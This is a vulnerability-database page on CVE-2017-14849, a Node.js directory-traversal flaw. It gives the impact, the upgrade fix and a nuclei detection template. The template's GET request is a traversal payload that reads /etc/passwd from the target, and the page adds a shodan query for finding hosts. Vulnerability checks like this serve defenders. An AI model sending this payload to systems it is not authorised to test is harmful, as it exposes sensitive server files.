HexBrain

Browse / CVEs / CVE-2017-14849

CVE-2017-14849· nodejs / node.js· CWE-22

Node.js <8.6.0 - Directory Traversal

highseverity
7.5CVSS score
54.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/static/../../../a/../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-14849 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-14849

info:
  name: Node.js <8.6.0 - Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14849
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
    epss-score: 0.54389
    epss-percentile: 0.99021
    cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2017,cve,nodejs,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from